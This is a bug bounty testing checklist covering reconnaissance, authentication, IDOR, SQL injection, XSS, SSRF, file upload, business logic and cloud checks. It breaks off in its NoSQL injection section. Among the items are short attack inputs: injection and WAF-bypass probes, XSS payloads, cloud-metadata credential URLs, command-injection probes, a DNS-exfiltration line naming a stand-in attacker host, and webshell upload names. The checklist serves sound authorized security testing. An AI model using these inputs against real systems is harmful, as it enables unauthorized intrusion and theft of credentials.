



BUG BOUNTY CHECKLIST

Comprehensive Testing Guide

Recon | Authentication | Injection | Logic | Infrastructure

27 Categories | 500+ Check Points

2025 Edition

Table of Contents

1. Reconnaissance
2. Subdomain Enumeration
3. URL & Endpoint Discovery
4. JavaScript Reconnaissance
5. Authentication Testing
6. Session Management
7. Authorization & Access Control
8. IDOR Testing
9. SQL Injection
10. Cross-Site Scripting (XSS)
11. Server-Side Request Forgery (SSRF)
12. Command & Code Injection
13. File Upload & Handling
14. Business Logic Flaws
15. Cryptographic Issues
16. Information Disclosure
17. API Testing
18. Cloud & Infrastructure
19. Rate Limiting & DoS
20. Race Conditions
21. Cross-Site Request Forgery (CSRF)
22. LDAP, XPath, NoSQL Injection
23. XML External Entity (XXE)
24. Template Injection (SSTI)
25. Open Redirect
26. Mobile-Specific Testing
27. Final Report Checklist

1. Reconnaissance Foundation

1.1 Passive Reconnaissance

- ☐ **WHOIS lookup on target domain and all associated domains**
 - ☐ Check WHOIS history for previous registrant data
 - ☐ Look for personal emails, phone numbers, names in WHOIS
- ☐ **DNS record enumeration (A, AAAA, MX, NS, TXT, SOA, CNAME)**
 - ☐ Check SPF, DMARC, DKIM records for email spoofing potential
 - ☐ Look for CNAME chains leading to cloud services (takeover risk)
 - ☐ Check for DNSSEC misconfigurations
- ☐ **Google Dorking for sensitive information**
 - ☐ Search for exposed documents (site:target.com filetype:pdf,doc,docx,xls)
 - ☐ Search for configuration files (site:target.com inurl:config)
 - ☐ Search for exposed directories (site:target.com intitle:"Index of")
 - ☐ Search for error messages (site:target.com intext:"error"|"exception"|"stack trace")
 - ☐ Search for API keys and tokens in cached pages
 - ☐ Search for employee credentials on Pastebin, GitHub Gists
- ☐ **GitHub/GitLab reconnaissance**
 - ☐ Search for organization repositories and leaked secrets
 - ☐ Check commit history for removed API keys or passwords
 - ☐ Search for .env, config files in public repositories
 - ☐ Check for exposed CI/CD configurations (.github/workflows, .gitlab-ci.yml)
- ☐ **Shodan/Censys/FOFA reconnaissance**
 - ☐ Search by favicon hash (mmh3) for related infrastructure
 - ☐ Check for exposed services (RDP, SSH, databases, Elasticsearch)
 - ☐ Look for SSL certificate transparency logs
- ☐ **Social media and public source intelligence**
 - ☐ LinkedIn enumeration of employees and roles
 - ☐ Check for exposed internal documents on public platforms
 - ☐ Search for job postings revealing technology stack

1.2 Active Reconnaissance

- ☐ **Port scanning of target infrastructure**
 - ☐ Full port scan (top 1000 + service detection)
 - ☐ UDP port scan for DNS, SNMP, NTP services
 - ☐ Banner grabbing on all open ports

- ☐ **Service and technology fingerprinting**
 - ☐ Wappalyzer/WhatWeb/BuiltWith for tech stack identification
 - ☐ Identify framework versions and check for known CVEs
 - ☐ Check for default credentials on identified services
- ☐ **Network mapping and infrastructure analysis**
 - ☐ Identify CDN, WAF, load balancer presence
 - ☐ Check for origin IP exposure (bypassing CDN/WAF)
 - ☐ Traceroute analysis for network topology

2. Subdomain Enumeration Critical

2.1 Passive Subdomain Discovery

- ☐ **Certificate Transparency (CT) log enumeration**
 - ☐ crt.sh certificate search
 - ☐ Censys certificate search
 - ☐ Facebook CT log monitoring
 - ☐ Certspotter enumeration
- ☐ **Archive and historical data sources**
 - ☐ Wayback Machine (archive.org)
 - ☐ Common Crawl dataset
 - ☐ URLScan.io historical data
- ☐ **OSINT data aggregation**
 - ☐ Amass passive enumeration
 - ☐ Subfinder with all sources
 - ☐ Assetfinder (crt.sh + passive sources)
 - ☐ Findomain (cross-platform fast enumeration)

2.2 Active Subdomain Discovery

- ☐ **DNS brute-forcing**
 - ☐ Wordlist-based brute-force (massdns + custom wordlist)
 - ☐ Permutation/alteration scanning (dnsgen + massdns)
 - ☐ Reverse DNS lookup (PTR records)
- ☐ **Virtual host discovery**
 - ☐ VHost brute-forcing (ffuf/gobuster vhost mode)
 - ☐ IP-based virtual host scanning
- ☐ **Subdomain takeover assessment**

- ☐ Check dangling CNAME records
- ☐ Test for GitHub Pages, Heroku, AWS S3 takeovers
- ☐ Test for Azure, Firebase, Shopify, Fastly takeovers
- ☐ Test for abandoned services (Tumblr, WordPress.com)

2.3 Subdomain Validation

- ☐ **HTTP(S) live host verification**
 - ☐ httpx/httpprobe for fast validation
 - ☐ Screenshot capture for visual identification (aquatone, gowitness)
 - ☐ Response title and technology extraction
- ☐ **Categorization and prioritization**
 - ☐ Identify admin panels, dev/staging/UAT environments
 - ☐ Flag high-value targets (API gateways, payment endpoints)
 - ☐ Note wildcard DNS entries vs. real subdomains

3. URL & Endpoint Discovery

Critical

3.1 robots.txt & Metadata Files

- ☐ **Parse robots.txt for disallowed paths**
 - ☐ Extract all Disallow and Allow directives
 - ☐ Follow Sitemap references recursively
 - ☐ Check robots.txt on all subdomains
- ☐ **Enumerate .well-known/ directory**
 - ☐ /.well-known/security.txt
 - ☐ /.well-known/openid-configuration
 - ☐ /.well-known/change-password
 - ☐ /.well-known/assetlinks.json
 - ☐ /.well-known/apple-app-site-association

3.2 Web Crawling & Spidering

- ☐ **Automated crawling of all live hosts**
 - ☐ Katana crawl with JavaScript rendering
 - ☐ Gospider for JavaScript link extraction
 - ☐ Hakrawler for quick pipeline crawling
 - ☐ Burp Suite Spider (authenticated + unauthenticated)
- ☐ **Web archive URL extraction**
 - ☐ Wayback Machine (waybackurls/gau)

- ☐ Common Crawl data
- ☐ waymore for deep historical data

3.3 Directory & File Brute-Forcing

- ☐ **Directory enumeration on all hosts**
 - ☐ Ffuf with raft-medium-directories wordlist
 - ☐ Feroxbuster recursive scanning
 - ☐ Gobuster with extensions
- ☐ **Sensitive file discovery**
 - ☐ Backup files (.bak, .old, ~, .swp, .save)
 - ☐ Configuration files (.env, config.json, web.config)
 - ☐ Database dumps (.sql, .sql.gz, dump.sql)
 - ☐ Archive files (backup.zip, site.tar.gz, www.zip)
 - ☐ Version control (.git, .svn, .hg - use git-dumper)
 - ☐ Check for .DS_Store files revealing directory listings

3.4 API Endpoint Discovery

- ☐ **Documentation endpoint scanning**
 - ☐ /swagger.json, /openapi.json, /v2/api-docs
 - ☐ /api-docs, /swagger-ui.html
 - ☐ /graphql, /playground, /altair
 - ☐ Extract and enumerate all documented endpoints
- ☐ **API path guessing and fuzzing**
 - ☐ Version enumeration (v1, v2, v3, internal, private)
 - ☐ Resource name fuzzing (users, accounts, orders, admin)
 - ☐ HTTP method switching on all endpoints
- ☐ **GraphQL specific**
 - ☐ Introspection query for full schema extraction
 - ☐ Field suggestion probing if introspection disabled

4. JavaScript Reconnaissance Important

4.1 JavaScript File Discovery

- ☐ **Extract all JavaScript files from crawled pages**
 - ☐ subjs tool for JS file extraction
 - ☐ Check for chunked/bundled JS files
 - ☐ Download and analyze all JS files locally

- ☐ **Endpoint extraction from JavaScript**
 - ☐ LinkFinder for automated endpoint extraction
 - ☐ Manual regex analysis for API paths
 - ☐ Extract fetch(), axios(), XMLHttpRequest endpoints
 - ☐ Extract WebSocket connection URLs

4.2 Source Map Analysis

- ☐ **Check for exposed .js.map files**
 - ☐ Download and parse source maps
 - ☐ Source map decompilation (sourcemap-extractor)
 - ☐ Extract original source filenames and paths
 - ☐ Search decompiled code for secrets and endpoints

4.3 Secret & Key Discovery in JS

- ☐ **Search for hardcoded API keys**
 - ☐ AWS Access Key IDs (AKIA...)
 - ☐ Google API keys, Firebase configurations
 - ☐ Stripe, PayPal, Twilio keys
 - ☐ JWT secrets and signing keys
- ☐ **Search for sensitive configuration**
 - ☐ Internal IP addresses and hostnames
 - ☐ Internal API base URLs and endpoints
 - ☐ Debug flags and development endpoints
 - ☐ TODO/FIXME comments revealing functionality

5. Authentication Testing Critical

5.1 Login Functionality

- ☐ **Brute-force protection testing**
 - ☐ Test rate limiting on login attempts
 - ☐ Test account lockout mechanisms
 - ☐ Check for CAPTCHA bypass techniques
 - ☐ Test for credential stuffing protection
- ☐ **Username enumeration**
 - ☐ Different error messages for valid vs invalid usernames
 - ☐ Response timing differences for valid users
 - ☐ Password reset flow revealing valid accounts

- ☐ Registration flow preventing duplicate usernames
- ☐ **Password policy analysis**
 - ☐ Minimum password length enforcement
 - ☐ Check for common password rejection
 - ☐ Test password complexity requirements bypass

5.2 Password Reset & Recovery

- ☐ **Password reset token analysis**
 - ☐ Check token entropy and predictability
 - ☐ Test for token reuse
 - ☐ Check token expiration enforcement
- ☐ **Password reset flow manipulation**
 - ☐ Host header injection in reset emails
 - ☐ Response manipulation in reset flow
 - ☐ Test for password reset on unverified emails
- ☐ **Account recovery mechanisms**
 - ☐ Security question strength and guessing
 - ☐ Recovery code/token brute-force

5.3 Registration & Account Creation

- ☐ **Duplicate registration testing**
 - ☐ Register with existing username (case variations)
 - ☐ Unicode normalization abuse (e.g., admin+@target.com)
 - ☐ Email verification bypass
- ☐ **Mass account creation testing**
 - ☐ Test for registration rate limiting
 - ☐ Check for disposable email blocking bypass
- ☐ **OAuth & SSO testing**
 - ☐ OAuth flow state parameter validation
 - ☐ Account takeover via OAuth email manipulation
 - ☐ OpenID Connect nonce validation
 - ☐ SAML signature wrapping attacks
 - ☐ JWT token algorithm confusion (alg:none, RS256 to HS256)

6. Session Management Critical

6.1 Session Token Analysis

- ☐ **Session token entropy and randomness**
 - ☐ Check for predictable session IDs (sequential, time-based)
 - ☐ Test session token generation after login
- ☐ **Session token transport security**
 - ☐ Secure flag on session cookies
 - ☐ HttpOnly flag preventing XSS token theft
 - ☐ SameSite cookie attribute configuration
 - ☐ Session token transmission over HTTP vs HTTPS

6.2 Session Lifecycle

- ☐ **Session timeout and expiration**
 - ☐ Test idle timeout enforcement
 - ☐ Test absolute session timeout
- ☐ **Session invalidation on logout**
 - ☐ Verify server-side session destruction
 - ☐ Test session reuse after logout
 - ☐ Check for concurrent session handling
- ☐ **Session fixation testing**
 - ☐ Pre-login session ID persists post-authentication
 - ☐ Ability to inject session ID before login

6.3 Multi-Session & Concurrent Access

- ☐ **Concurrent session handling**
 - ☐ Same account login from multiple devices
 - ☐ Session synchronization across tabs
- ☐ **Session hijacking resistance**
 - ☐ IP binding and validation
 - ☐ User-Agent validation
 - ☐ Device fingerprinting checks

7. Authorization & Access Control Critical

7.1 Horizontal Privilege Escalation

- ☐ **Access other users' resources with same role**
 - ☐ Modify user_id parameter in profile endpoints
 - ☐ Access order history of other users
 - ☐ View/modify other users' documents or uploads
 - ☐ Access messaging/conversations of other users

7.2 Vertical Privilege Escalation

- ☐ **Access admin endpoints as regular user**
 - ☐ Direct URL access to /admin, /dashboard, /panel
 - ☐ API endpoint access with regular user token
 - ☐ Method-based access (GET allowed, DELETE not blocked)
- ☐ **Role manipulation**
 - ☐ Mass assignment of role/admin parameters
 - ☐ JWT claim manipulation (role, scope, permissions)
 - ☐ Cookie tampering for privilege elevation

7.3 Missing Function-Level Access Control

- ☐ **Test all admin functions as regular user**
 - ☐ User management (create, delete, modify users)
 - ☐ Content management (delete posts, moderate comments)
 - ☐ System configuration endpoints
 - ☐ Bulk operations (export, import, mass delete)
- ☐ **Insecure Direct Object Reference (see Section 8)**

8. IDOR Testing Critical

8.1 Numeric Reference IDOR

- ☐ **Sequential ID manipulation**
 - ☐ Increment/decrement user_id, order_id, doc_id
 - ☐ Test negative numbers and zero values
 - ☐ Test large numbers and boundary values
- ☐ **Parameter pollution IDOR**
 - ☐ Duplicate ID parameters with different values
 - ☐ Array-based ID submission (id[]=1&id[]=2)

8.2 UUID & Non-Predictable Reference IDOR

- ☐ **UUID-based reference testing**
 - ☐ Harvest UUIDs from public sources (HTML, JS, emails)
 - ☐ Check if UUIDs are truly random or contain timestamps
- ☐ **Encoded reference testing**
 - ☐ Base64 decode and modify references
 - ☐ Hash-based references (MD5, SHA1) - check for reversibility
 - ☐ Custom encoding schemes in JavaScript

8.3 Common IDOR Targets

- ☐ **User profile and account data**
 - ☐ `/api/users/{id}/profile`, `/api/users/{id}/settings`
 - ☐ Account deletion `/api/users/{id}/delete`
- ☐ **Financial and order data**
 - ☐ `/api/orders/{id}`, `/api/invoices/{id}`
 - ☐ Payment method details `/api/payments/{id}`
- ☐ **Content and file access**
 - ☐ `/api/documents/{id}`, `/api/files/{id}/download`
 - ☐ Shared resources `/api/shared/{token}`
- ☐ **Messaging and communication**
 - ☐ `/api/messages/{id}`, `/api/conversations/{id}`
 - ☐ Notifications `/api/notifications/{id}`

8.4 IDOR Testing Techniques

- ☐ **Create two accounts (attacker and victim)**
 - ☐ Perform operations on both accounts
 - ☐ Swap session tokens while keeping same request
- ☐ **HTTP method switching on IDOR endpoints**
 - ☐ `GET /api/users/123` -> `POST /api/users/123` with changes
 - ☐ `PUT/PATCH` to modify other users' resources
 - ☐ `DELETE` other users' resources

9. SQL Injection Critical

9.1 Detection & Identification

- ☐ **Error-based SQL injection detection**
 - ☐ Submit single quote ('), double quote ("), backslash (\)
 - ☐ Look for database error messages in response
 - ☐ Common error signatures: "mysql_fetch", "ORA-", "SQLite", "PostgreSQL"
- ☐ **Boolean-based blind SQL injection**
 - ☐ Test ' AND 1=1 -- vs ' AND 1=2 --
 - ☐ Observe application behavior differences
- ☐ **Time-based blind SQL injection**
 - ☐ MySQL: ' AND SLEEP(5) --
 - ☐ PostgreSQL: ' AND pg_sleep(5) --
 - ☐ MSSQL: '; WAITFOR DELAY '0:0:5' --
 - ☐ Oracle: ' AND DBMS_LOCK.SLEEP(5) --
- ☐ **UNION-based SQL injection**
 - ☐ Determine column count with ORDER BY
 - ☐ UNION SELECT to extract data

9.2 SQL Injection Vectors

- ☐ **GET parameters**
 - ☐ URL query parameters (?id=1', ?search=test')
 - ☐ Path parameters (/api/users/1')
- ☐ **POST parameters**
 - ☐ Form fields (login, search, filter)
 - ☐ JSON body parameters
 - ☐ XML body parameters
- ☐ **Headers**
 - ☐ User-Agent, Referer, X-Forwarded-For
 - ☐ Custom headers
- ☐ **Cookies**
 - ☐ Session cookie manipulation
 - ☐ Custom cookie values
- ☐ **WAF bypass techniques**
 - ☐ URL encoding (%27, %2527)
 - ☐ Unicode normalization (%u0027, %c0%a7)
 - ☐ Comment obfuscation (/**/, /*!SELECT*/)

- ☐ Case variation (SeLeCt, UnIoN)
- ☐ Concatenation (CONCAT(), ||, +)

10. Cross-Site Scripting (XSS) Critical

10.1 Reflected XSS

- ☐ **Test all user input reflection points**
 - ☐ URL parameters reflected in response
 - ☐ Search query reflection
 - ☐ Error message reflection
- ☐ **Basic payload testing**
 - ☐ `<script>alert(1)</script>`
 - ☐ `<img src=x onerror=alert(1)>`
 - ☐ `"><svg onload=alert(1)>`
 - ☐ `javascript:alert(1)`
- ☐ **Context-specific payloads**
 - ☐ HTML context: `<tag onmouseover=alert(1)>`
 - ☐ Attribute context: `" onfocus=alert(1) autofocus=`
 - ☐ JavaScript context: `';alert(1);//`
 - ☐ URL context: `javascript:alert(1)`
 - ☐ Template context: `{{constructor.constructor('alert(1')()}}`

10.2 Stored/Persistent XSS

- ☐ **Test all user-controllable storage locations**
 - ☐ User profiles, comments, reviews
 - ☐ File metadata and upload names
 - ☐ Message boards, chat, support tickets
 - ☐ Product descriptions, documentation
- ☐ **Test for stored XSS in multi-step flows**
 - ☐ Draft/pending content that gets reviewed
 - ☐ Stored payloads in JSON responses

10.3 DOM-Based XSS

- ☐ **Identify JavaScript sinks**
 - ☐ `document.write()`, `innerHTML`, `outerHTML`
 - ☐ `eval()`, `setTimeout()`, `setInterval()`
 - ☐ `location.href`, `location.replace()`

- ☐ postMessage handlers
- ☐ **Source-to-sink tracing**
 - ☐ document.URL, document.location
 - ☐ window.location.hash based routing
 - ☐ localStorage / sessionStorage reads

10.4 Blind XSS

- ☐ **Deploy XSS Hunter / Burp Collaborator**
 - ☐ Use payloads that callback to external server
 - ☐ Test in admin-only viewed areas
- ☐ **Common blind XSS vectors**
 - ☐ Contact forms and feedback submissions
 - ☐ Support tickets and live chat
 - ☐ Username/display name fields viewed by admins
 - ☐ Log viewers and analytics dashboards

10.5 XSS WAF Bypass & Advanced

- ☐ **Encoding and obfuscation**
 - ☐ HTML entities (< becomes < but may decode)
 - ☐ Unicode encoding, hex encoding
 - ☐ Double encoding (%253C for <)
- ☐ **Alternative payload vectors**
 - ☐ <iframe srcdoc="<script>alert(1)</script>">
 - ☐ <math><mtext><table><mglyph><style>
 - ☐ Use of HTML5 tags and events

11. Server-Side Request Forgery (SSRF) Critical

11.1 Basic SSRF Detection

- ☐ **Test URL parameters accepting external URLs**
 - ☐ webhook, callback, url, redirect, target parameters
 - ☐ Image URL parameters (avatar, profile picture)
 - ☐ File import from URL functionality
- ☐ **Internal network probing**
 - ☐ http://127.0.0.1, http://localhost
 - ☐ http://169.254.169.254 (AWS IMDS)

- ☐ http://192.168.0.1, http://10.0.0.1 (internal ranges)
- ☐ DNS rebinding with burp collaborator

11.2 Cloud Metadata Extraction

- ☐ **AWS EC2 Instance Metadata Service**
 - ☐ IMDSv1: http://169.254.169.254/latest/meta-data/
 - ☐ IMDSv2: PUT token request then metadata
 - ☐ /latest/meta-data/iam/security-credentials/
- ☐ **Google Cloud metadata**
 - ☐ http://metadata.google.internal/computeMetadata/v1/
 - ☐ Requires Metadata-Flavor: Google header
- ☐ **Azure metadata**
 - ☐ http://169.254.169.254/metadata/instance?api-version=2021-02-01

11.3 SSRF Bypass Techniques

- ☐ **URL parser bypasses**
 - ☐ http://127.0.0.1.xip.io
 - ☐ http://①②③.④.⑤.⑥ (unicode IP)
 - ☐ http://0x7f000001 (hex IP)
 - ☐ http://2130706433 (decimal IP)
 - ☐ http://127.1 (short IP)
- ☐ **Protocol and scheme tricks**
 - ☐ file:///etc/passwd
 - ☐ dict://, ftp://, gopher://
 - ☐ Redirect to internal via open redirect

12. Command & Code Injection Critical

12.1 OS Command Injection

- ☐ **Identify potential command execution points**
 - ☐ Ping, traceroute, DNS lookup features
 - ☐ File conversion, image processing
 - ☐ Backup/export functionality
- ☐ **Command injection detection**
 - ☐ Test with ; id, | id, && id, || id
 - ☐ Time delay: ; sleep 5, | ping -c 5 127.0.0.1

- ☐ DNS exfiltration: ; nsattacker.com
- ☐ Out-of-band with Burp Collaborator

12.2 Code Injection

- ☐ **PHP code injection**
 - ☐ Test in file include, template, eval points
 - ☐ phpinfo(), system(), exec() payloads
- ☐ **Expression Language (EL) injection**
 - ☐ \${T(java.lang.Runtime).getRuntime().exec('id')}
 - ☐ #{7*7} for expression evaluation detection
- ☐ **Server-Side Template Injection (see Section 24)**

13. File Upload & Handling Critical

13.1 Upload Functionality Testing

- ☐ **Identify all file upload points**
 - ☐ Profile picture, avatar uploads
 - ☐ Document upload (PDF, DOC, XLS)
 - ☐ Image gallery, media uploads
 - ☐ Bulk import, CSV upload
- ☐ **Extension bypass testing**
 - ☐ Double extension: shell.php.jpg, shell.php%00.jpg
 - ☐ Case variation: shell.PHP, shell.pHp
 - ☐ Alternative extensions: .php3, .php4, .php5, .phtml
 - ☐ Trailing characters: shell.php., shell.php%20

13.2 Content-Type & MIME Bypass

- ☐ **Content-Type header manipulation**
 - ☐ Change Content-Type to image/jpeg for PHP file
 - ☐ Magic bytes injection (GIF89a, PNG header)
- ☐ **MIME type validation bypass**
 - ☐ Polyglot files (valid image + embedded PHP)
 - ☐ SVG with embedded script: <svg onload=alert(1)>

13.3 File Handling Vulnerabilities

- ☐ **Path traversal in file operations**

- ☐ Download arbitrary files via path traversal
- ☐ Overwrite system files via upload path control
- ☐ **ZIP/archive extraction vulnerabilities**
 - ☐ ZIP slip (directory traversal in ZIP entries)
 - ☐ Symlink extraction leading to arbitrary file read
- ☐ **Image processing vulnerabilities**
 - ☐ ImageTragick (ImageMagick RCE)
 - ☐ XXE via SVG upload
 - ☐ Ghostscript RCE via PDF/SVG

14. Business Logic Flaws High Impact

14.1 Payment & Pricing Manipulation

- ☐ **Price parameter tampering**
 - ☐ Modify price/amount in payment request
 - ☐ Negative quantity for refund/credit
 - ☐ Zero or fractional pricing
- ☐ **Discount and coupon manipulation**
 - ☐ Stack multiple coupons
 - ☐ Reuse single-use coupons
 - ☐ Coupon code brute-forcing
- ☐ **Currency conversion abuse**
 - ☐ Switch currency mid-transaction
 - ☐ Exploit rounding errors in conversion

14.2 Workflow & State Bypass

- ☐ **Skip workflow steps**
 - ☐ Direct access to step 3 without completing steps 1-2
 - ☐ Submit final form with manipulated state parameter
- ☐ **Race conditions in multi-step flows**
 - ☐ Submit same payment twice simultaneously
 - ☐ Redeem coupon multiple times via race
- ☐ **Approval workflow bypass**
 - ☐ Approve own requests via parameter manipulation
 - ☐ Bypass moderator/admin approval

14.3 Account & Feature Abuse

- ☐ **Trial/premium feature abuse**
 - ☐ Extend trial period via date manipulation
 - ☐ Access premium features via direct endpoint
- ☐ **Referral system abuse**
 - ☐ Self-referral via multiple accounts
 - ☐ Referral code brute-forcing
- ☐ **Notification/communication abuse**
 - ☐ Email/SMS flooding via automation
 - ☐ Spoof sender in notification endpoints

15. Cryptographic Issues High Impact

15.1 SSL/TLS Configuration

- ☐ **Weak protocol versions**
 - ☐ SSLv2, SSLv3 enabled
 - ☐ TLS 1.0, TLS 1.1 enabled without business need
- ☐ **Weak cipher suites**
 - ☐ RC4, DES, 3DES ciphers
 - ☐ Null cipher suites
 - ☐ Export-grade ciphers
- ☐ **Certificate issues**
 - ☐ Self-signed certificates in production
 - ☐ Expired certificates
 - ☐ Wildcard certificate misuse
 - ☐ Certificate name mismatch

15.2 Token & Secret Security

- ☐ **JWT security testing**
 - ☐ alg:none signature bypass
 - ☐ RS256 to HS256 algorithm confusion
 - ☐ Weak JWT secret (brute-force with jwt_tool)
 - ☐ JWT expiration not enforced
- ☐ **API key and token exposure**
 - ☐ Hardcoded API keys in client-side code

- ☐ API keys in URL parameters (logged in history/proxy)
- ☐ Token transmission over HTTP
- ☐ **Randomness and entropy**
 - ☐ Predictable password reset tokens
 - ☐ Sequential or time-based token generation
 - ☐ Weak PRNG for security-critical values

15.3 Data Protection

- ☐ **Sensitive data at rest**
 - ☐ Unencrypted password storage (plaintext, reversible)
 - ☐ Weak password hashing (MD5, SHA1 without salt)
 - ☐ Unencrypted database backups
- ☐ **Sensitive data in transit**
 - ☐ HTTP (not HTTPS) for authenticated pages
 - ☐ Missing HSTS header
 - ☐ Sensitive data in URL parameters (leaked in Referer)

16. Information Disclosure Medium-High

16.1 Verbose Error Messages

- ☐ **Stack trace exposure**
 - ☐ Trigger errors with invalid input
 - ☐ Force error via malformed JSON/XML
 - ☐ Access non-existent endpoints/routes
- ☐ **Debug information leakage**
 - ☐ Debug=true parameter revealing internal info
 - ☐ Django/Flask debug mode pages
 - ☐ PHPinfo pages (/phpinfo.php)
 - ☐ ASP.NET detailed error pages (yellow screen)

16.2 Sensitive File & Data Exposure

- ☐ **Backup and temporary files**
 - ☐ .git, .svn, .hg directory exposure
 - ☐ Backup files (.bak, .old, .zip, .tar.gz)
 - ☐ Swap files (.swp, .swo)
- ☐ **Configuration files**

- ☐ .env files with database credentials
- ☐ config.json, config.yaml, config.xml
- ☐ web.config, .htaccess exposure
- ☐ Docker files (Dockerfile, docker-compose.yml)
- ☐ **Log file exposure**
 - ☐ access.log, error.log
 - ☐ Application logs with sensitive data
 - ☐ CloudWatch / CloudTrail logs

16.3 Source Code & Metadata Exposure

- ☐ **JavaScript source map (.map) files**
 - ☐ Download and analyze all .js.map files
 - ☐ Extract original source code from maps
- ☐ **HTML comments revealing internal data**
 - ☐
 - ☐
- ☐ **API response over-disclosure**
 - ☐ Extra fields in API responses not shown in UI
 - ☐ Internal IDs, emails, phone numbers in responses

17. API Testing High Impact

17.1 REST API Testing

- ☐ **HTTP method testing**
 - ☐ GET /api/resource -> test POST, PUT, DELETE, PATCH
 - ☐ HEAD method for information leakage
 - ☐ OPTIONS method to discover allowed methods
- ☐ **Content negotiation testing**
 - ☐ Accept: application/xml (trigger XXE)
 - ☐ Content-Type mismatch handling
- ☐ **API versioning issues**
 - ☐ Test old API versions for missing security controls
 - ☐ /api/v1/ vs /api/v2/ endpoint comparison
 - ☐ /api/internal/ and /api/private/ discovery

17.2 GraphQL Testing

- ☐ **Introspection query for schema discovery**
 - ☐ { __schema { types { name fields { name } } } }
 - ☐ Check if introspection is enabled
- ☐ **Field suggestion exploitation**
 - ☐ { __type(name: "User") { fields { name } } }
 - ☐ GraphQL IDE probing (/graphql, /playground, /altair)
- ☐ **Query depth and complexity attacks**
 - ☐ Deeply nested queries for DoS
 - ☐ Aliased queries for batch operations
- ☐ **GraphQL authorization bypass**
 - ☐ Access admin mutations as regular user
 - ☐ Query hidden fields via direct schema access

17.3 API Authentication & Authorization

- ☐ **Token-based auth testing**
 - ☐ Bearer token manipulation and forgery
 - ☐ API key in query parameter vs header security
 - ☐ Token expiration and refresh token rotation
- ☐ **OAuth/API authorization testing**
 - ☐ Scope escalation in OAuth tokens
 - ☐ Client credential exposure in mobile apps

18. Cloud & Infrastructure High Impact

18.1 AWS-Specific Testing

- ☐ **S3 bucket enumeration and access**
 - ☐ Common bucket naming: target-name, target.assets
 - ☐ Test for list bucket permission
 - ☐ Test for write/upload permission
 - ☐ Check bucket policy for misconfigurations
- ☐ **EC2 Instance Metadata Service (IMDS)**
 - ☐ IMDSv1 exploitation via SSRF
 - ☐ IMDSv2 token-based protection bypass
- ☐ **Lambda function exposure**

- ☐ Lambda environment variable extraction
- ☐ Lambda function URL enumeration
- ☐ **IAM permission enumeration**
 - ☐ Enumerate attached IAM policies
 - ☐ Check for overly permissive roles

18.2 GCP-Specific Testing

- ☐ **GCP bucket enumeration**
 - ☐ Test for public bucket access
 - ☐ Check bucket IAM policies
- ☐ **Cloud Function testing**
 - ☐ Unauthenticated cloud function invocation
 - ☐ Environment variable extraction
- ☐ **Metadata service access**
 - ☐ <http://metadata.google.internal> exploitation

18.3 Azure-Specific Testing

- ☐ **Azure Blob storage enumeration**
 - ☐ Test for public container access
 - ☐ Check SAS token misconfigurations
- ☐ **Azure Function testing**
 - ☐ Unauthenticated function triggers
 - ☐ Function key exposure in client-side code
- ☐ **Managed Identity exploitation**
 - ☐ Access IMDS endpoint for token theft

18.4 Container & Kubernetes

- ☐ **Docker registry exposure**
 - ☐ Unauthenticated Docker registry access
 - ☐ Image extraction for secret hunting
- ☐ **Kubernetes API exposure**
 - ☐ `/api/v1/namespaces` access without auth
 - ☐ kubelet read-only port (10255)
 - ☐ etcd API access without TLS client auth
- ☐ **Container escape indicators**
 - ☐ Privileged container detection

- ☐ Host path mount access

19. Rate Limiting & Denial of Service Medium

19.1 Rate Limit Bypass

- ☐ **IP-based rate limit bypass**
 - ☐ Use X-Forwarded-For, X-Real-IP header spoofing
 - ☐ IPv6 rotation for bypass
 - ☐ Proxy rotation and distributed requests
- ☐ **Credential stuffing without rate limits**
 - ☐ Test login endpoint for brute-force protection
 - ☐ Test password reset for email flooding
 - ☐ Test 2FA code for brute-force (0000-9999)

19.2 Application-Level DoS

- ☐ **Resource exhaustion vectors**
 - ☐ Large file upload causing disk exhaustion
 - ☐ Complex regex ReDoS (Regex Denial of Service)
 - ☐ Nested JSON/XML causing parser exhaustion
- ☐ **Slow HTTP attacks**
 - ☐ Slowloris (partial HTTP requests)
 - ☐ R-U-Dead-Yet (RUDY) attack
- ☐ **Algorithmic complexity attacks**
 - ☐ Hash collision DoS (login forms, form parsing)
 - ☐ XML Billion Laughs / exponential entity expansion

20. Race Conditions High Impact

20.1 Limit Bypass via Race Conditions

- ☐ **Coupon code reuse via race condition**
 - ☐ Submit same coupon in parallel requests
 - ☐ Time requests to hit before database update
- ☐ **Vote/like abuse via race**
 - ☐ Single vote per user bypass
 - ☐ Like count inflation
- ☐ **Redeemable code abuse**

- ☐ Redeem gift card multiple times
- ☐ One-time invite code reuse

20.2 Financial Race Conditions

- ☐ **Double spending**
 - ☐ Send same withdrawal request simultaneously
 - ☐ Race between balance check and withdrawal
- ☐ **Over-crediting via race**
 - ☐ Simultaneous refund + spend
 - ☐ Deposit race condition (double credit)

20.3 Account State Race Conditions

- ☐ **Account deletion race**
 - ☐ Delete account but keep API access active
- ☐ **Role/privilege change race**
 - ☐ Downgrade role but maintain admin session
 - ☐ Transfer ownership while maintaining access

21. Cross-Site Request Forgery (CSRF) Medium

21.1 CSRF Detection

- ☐ **Check for anti-CSRF token presence**
 - ☐ Missing token on state-changing requests
 - ☐ Token not validated server-side
- ☐ **SameSite cookie testing**
 - ☐ SameSite=None without Secure flag
 - ☐ SameSite=Lax on POST requests
- ☐ **Referer/Origin header validation**
 - ☐ Application checks Referer but allows empty
 - ☐ Origin header not validated on cross-origin requests

21.2 CSRF Bypass Techniques

- ☐ **Token reuse across sessions**
 - ☐ CSRF token not tied to user session
 - ☐ Static CSRF token across all users
- ☐ **Method override bypass**

- ☐ POST-to-GET conversion
- ☐ _method parameter override
- ☐ **Content-Type bypass**
 - ☐ text/plain form submission to JSON endpoint
 - ☐ CORS misconfiguration + CSRF chain

22. LDAP, XPath, NoSQL Injection High

22.1 LDAP Injection

- ☐ **LDAP search filter injection**
 - ☐ Username: *) (uid=*)(&(uid=*
 - ☐ Password: any for filter bypass
 - ☐ *)(&(objectClass=* for wildcard injection
- ☐ **LDAP attribute injection**
 - ☐ Inject attributes into LDAP add/modify operations
 - ☐ Elevate privileges via attribute manipulation

22.2 XPath Injection

- ☐ **XML data query injection**
 - ☐ ' or '1'=1 for authentication bypass
 - ☐ ']|/*|/*[' for node extraction
 - ☐ count(//*[*) for document structure probing
- ☐ **Blind XPath injection**
 - ☐ Substring-based data extraction
 - ☐ Boolean-based true/false testing

22.3 NoSQL Injection

- ☐ **MongoDB operator injection**
 - ☐ {"username": {"\$ne": null}, "password": {"\$ne": null}}
 - ☐ {"username": {"\$gt": ""}, "password": {"\$gt": ""}}
 - ☐ {"\$where": "this.password.length > 0"}
- ☐ **NoSQL authentication bypass**
